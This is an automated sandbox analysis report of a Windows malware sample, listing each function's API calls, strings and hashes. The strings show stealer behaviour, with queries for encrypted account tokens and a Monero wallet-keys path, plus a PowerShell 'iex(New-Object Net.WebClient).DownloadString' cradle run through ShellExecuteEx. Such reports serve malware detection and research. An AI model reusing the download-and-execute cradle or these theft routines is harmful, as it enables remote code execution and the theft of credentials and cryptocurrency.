Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

lstrlen.KERNEL32(00000000), ref: 00D8BC9F

Part of subcall function 00D98E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00D98E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00D8BCCD
lstrlen.KERNEL32(00000000), ref: 00D8BDA5
lstrlen.KERNEL32(00000000), ref: 00D8BDB9

Strings

AccountTokens, xrefs: 00D8BABA
SELECT service, encrypted_token FROM token_service, xrefs: 00D8BBEB
AccountTokens, xrefs: 00D8BB49
AccountId, xrefs: 00D8BCC4

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: a7edac55ab866a105126300a2c3f82e7b57c605286e17c7144efff6c689147e6
Instruction ID: 1617e74fda4bed09da3c4b340d14e6146d66c9bdef39e195e7324456dd020c1f
Opcode Fuzzy Hash: a7edac55ab866a105126300a2c3f82e7b57c605286e17c7144efff6c689147e6
Instruction Fuzzy Hash: C0B12872920118ABDF04FBA8DD96EEE7378FF54300F444569F506A6091EF346A49CBB2

Function 00D96770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00D96774
ExitProcess.KERNEL32 ref: 00D967A5
ExitProcess.KERNEL32 ref: 00D967AF
ExitProcess.KERNEL32 ref: 00D967B9
ExitProcess.KERNEL32 ref: 00D967C3
ExitProcess.KERNEL32 ref: 00D967CD

Strings

*, xrefs: 00D9678C

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: f03054fb5e4bebe36ff7f748125532f9d8f4492d5bb9cd6fcbf1c814b10b1915
Instruction ID: 29c1c14627c0e7dd5e4e3a2d1692a1f23c0e927382ed2179b34769419605ebfa
Opcode Fuzzy Hash: f03054fb5e4bebe36ff7f748125532f9d8f4492d5bb9cd6fcbf1c814b10b1915
Instruction Fuzzy Hash: E2F03A3090420DEFD7449FF0AE1EB2C7B70FB0470AF040199E60987690D670AA41ABA6

Function 00D84FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D84FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00D84FD1
InternetOpenA.WININET(00DA0DDF,00000000,00000000,00000000,00000000), ref: 00D84FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00D85011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00D85041
InternetCloseHandle.WININET(?), ref: 00D850B9
InternetCloseHandle.WININET(?), ref: 00D850C6

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 23da1932d928b96bd22bf3655e19ccf8694aaebb449761881d210cad40fb3a51
Instruction ID: 62ea9b2445e0251936d4d793b1dbf3ed81cc717fb91f1d12d0bcc31072e9a0bb
Opcode Fuzzy Hash: 23da1932d928b96bd22bf3655e19ccf8694aaebb449761881d210cad40fb3a51
Instruction Fuzzy Hash: 863107B5A0021CABDB20DF54DD85BDCB7B4FB48708F1081D9EA09A7280C7706AC59FA9

Function 00D983DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D98426
wsprintfA.USER32 ref: 00D98459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00D9847B
RegCloseKey.ADVAPI32(00000000), ref: 00D9848C
RegCloseKey.ADVAPI32(00000000), ref: 00D98499

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

RegQueryValueExA.ADVAPI32(00000000,0182E030,00000000,000F003F,?,00000400), ref: 00D984EC
lstrlen.KERNEL32(?), ref: 00D98501
RegQueryValueExA.ADVAPI32(00000000,0182DEE0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00DA0B34), ref: 00D98599
RegCloseKey.ADVAPI32(00000000), ref: 00D98608
RegCloseKey.ADVAPI32(00000000), ref: 00D9861A

Strings

%s\%s, xrefs: 00D9844D

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 6d169f2b02d60ee2ab485083e4c619997487c315a5cca67b9c3151b9b90d5ffb
Instruction ID: 628ae18a6d59eea19b7e1c290fe949e9006a577e915e9786e71be4c065ad3935
Opcode Fuzzy Hash: 6d169f2b02d60ee2ab485083e4c619997487c315a5cca67b9c3151b9b90d5ffb
Instruction Fuzzy Hash: 242105B191022CABDB24DB54DD85FE9B3B8FB48704F00C598E609A7180DF71AA85DFE4

Function 00D97690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D976A4
RtlAllocateHeap.NTDLL(00000000), ref: 00D976AB
RegOpenKeyExA.ADVAPI32(80000002,0181C0F0,00000000,00020119,00000000), ref: 00D976DD
RegQueryValueExA.ADVAPI32(00000000,0182DF70,00000000,00000000,?,000000FF), ref: 00D976FE
RegCloseKey.ADVAPI32(00000000), ref: 00D97708

Strings

Windows 11, xrefs: 00D976BD

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 21f03f7ff8cde05143f7faf28d43387846332f796712744bf898b53169469b7b
Instruction ID: 5f4fe971c52d2f0c92dc1696d4bfc57615504951223d73f168830d2aafb455ee
Opcode Fuzzy Hash: 21f03f7ff8cde05143f7faf28d43387846332f796712744bf898b53169469b7b
Instruction Fuzzy Hash: 9B0162B5A0420CBBEB00DBE4DE4EF6EB7B8EB48705F104054FA04D7290D670A9049B61

Function 00D97720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D97734
RtlAllocateHeap.NTDLL(00000000), ref: 00D9773B
RegOpenKeyExA.ADVAPI32(80000002,0181C0F0,00000000,00020119,00D976B9), ref: 00D9775B
RegQueryValueExA.ADVAPI32(00D976B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00D9777A
RegCloseKey.ADVAPI32(00D976B9), ref: 00D97784

Strings

CurrentBuildNumber, xrefs: 00D97771

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: f611384808915a196e59465d7a694dcebbcbb22e998f9105f33d4df373bba1d5
Instruction ID: 22bc1acec9a648a01ca5f04daecbb232f313ca5ec4ef1f556f9304e96216f674
Opcode Fuzzy Hash: f611384808915a196e59465d7a694dcebbcbb22e998f9105f33d4df373bba1d5
Instruction Fuzzy Hash: 210112B5A4030CBFEB00DBE4DD4AFAEB7B8EF48705F104559FA05A7281DA716A009F61

Function 00D899C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D899EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D89A11
LocalAlloc.KERNEL32(00000040,?), ref: 00D89A31
ReadFile.KERNEL32(000000FF,?,00000000,00D8148F,00000000), ref: 00D89A5A
LocalFree.KERNEL32(00D8148F), ref: 00D89A90
CloseHandle.KERNEL32(000000FF), ref: 00D89A9A

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 2f1446eceadf5aa15e162f78ff9c4dd4ebe569d0900973561486df79f10c51b9
Instruction ID: ad963aaebd6df21e0fe7ffbb88a67fed910970197b3cd44bccd37ef19562b586
Opcode Fuzzy Hash: 2f1446eceadf5aa15e162f78ff9c4dd4ebe569d0900973561486df79f10c51b9
Instruction Fuzzy Hash: EB3105B4A0020DEFDB14DFA4C996FAEB7B9FF48304F148158E911A7290D774AA41CFA1

Function 00D94780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0182E150), ref: 00D947DB

Part of subcall function 00D98DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D98E0B

lstrcat.KERNEL32(?,00000000), ref: 00D94801
lstrcat.KERNEL32(?,?), ref: 00D94820
lstrcat.KERNEL32(?,?), ref: 00D94834
lstrcat.KERNEL32(?,0181BA90), ref: 00D94847
lstrcat.KERNEL32(?,?), ref: 00D9485B
lstrcat.KERNEL32(?,0182D8E0), ref: 00D9486F

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D98D90: GetFileAttributesA.KERNEL32(00000000,?,00D81B54,?,?,00DA564C,?,?,00DA0E1F), ref: 00D98D9F

Part of subcall function 00D94570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00D94580
Part of subcall function 00D94570: RtlAllocateHeap.NTDLL(00000000), ref: 00D94587
Part of subcall function 00D94570: wsprintfA.USER32 ref: 00D945A6
Part of subcall function 00D94570: FindFirstFileA.KERNEL32(?,?), ref: 00D945BD

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: e1744eac7be3ee4a7023bac9374bc4a3e2fc948e68c19fb61983f15822361a52
Instruction ID: ed9c771238f56d93d3b349b28b7ab573c378298a7f53fb294d193f9d39d0cb7c
Opcode Fuzzy Hash: e1744eac7be3ee4a7023bac9374bc4a3e2fc948e68c19fb61983f15822361a52
Instruction Fuzzy Hash: 97315EB690021CABCB14FBA0DC86EE9737CAB58704F404589B31996081EE75A6899FB5

Function 00D92C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

ShellExecuteEx.SHELL32(0000003C), ref: 00D92D85

Strings

<, xrefs: 00D92D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00D92D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00D92CC4
')", xrefs: 00D92CB3

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 243fa3f8322fe44135887194ca1e3fbfee500e0af970502a97f1c0c07b5d2d61
Instruction ID: 240cd50751a2e737755018fe407fec44675f6dc4a61f266418b9fa864317727f
Opcode Fuzzy Hash: 243fa3f8322fe44135887194ca1e3fbfee500e0af970502a97f1c0c07b5d2d61
Instruction Fuzzy Hash: D741BD72C10218AADF14EBA4C892BEDBB78EF14300F504119F116A7191DF746A4ACFF6

Function 00D89E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00D89F41

Part of subcall function 00D9A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D9A7E6

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Strings

v20, xrefs: 00D89E21
ERROR_RUN_EXTRACTOR, xrefs: 00D89E67
v10, xrefs: 00D89EA3
@, xrefs: 00D89EF1

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: b0cb57f19b044ba526febc9d83f78cabe884efee1f23cd77577c9e6f2d3f5a82
Instruction ID: c801ee337f74abc9cabf43d70533e4f02bcdb9b00c895878546b27293f2da6fb
Opcode Fuzzy Hash: b0cb57f19b044ba526febc9d83f78cabe884efee1f23cd77577c9e6f2d3f5a82
Instruction Fuzzy Hash: 4B611D75A102489FDF14EFA8CC96BED77B5EF45300F048018F9095B595EB746A0ACBB2

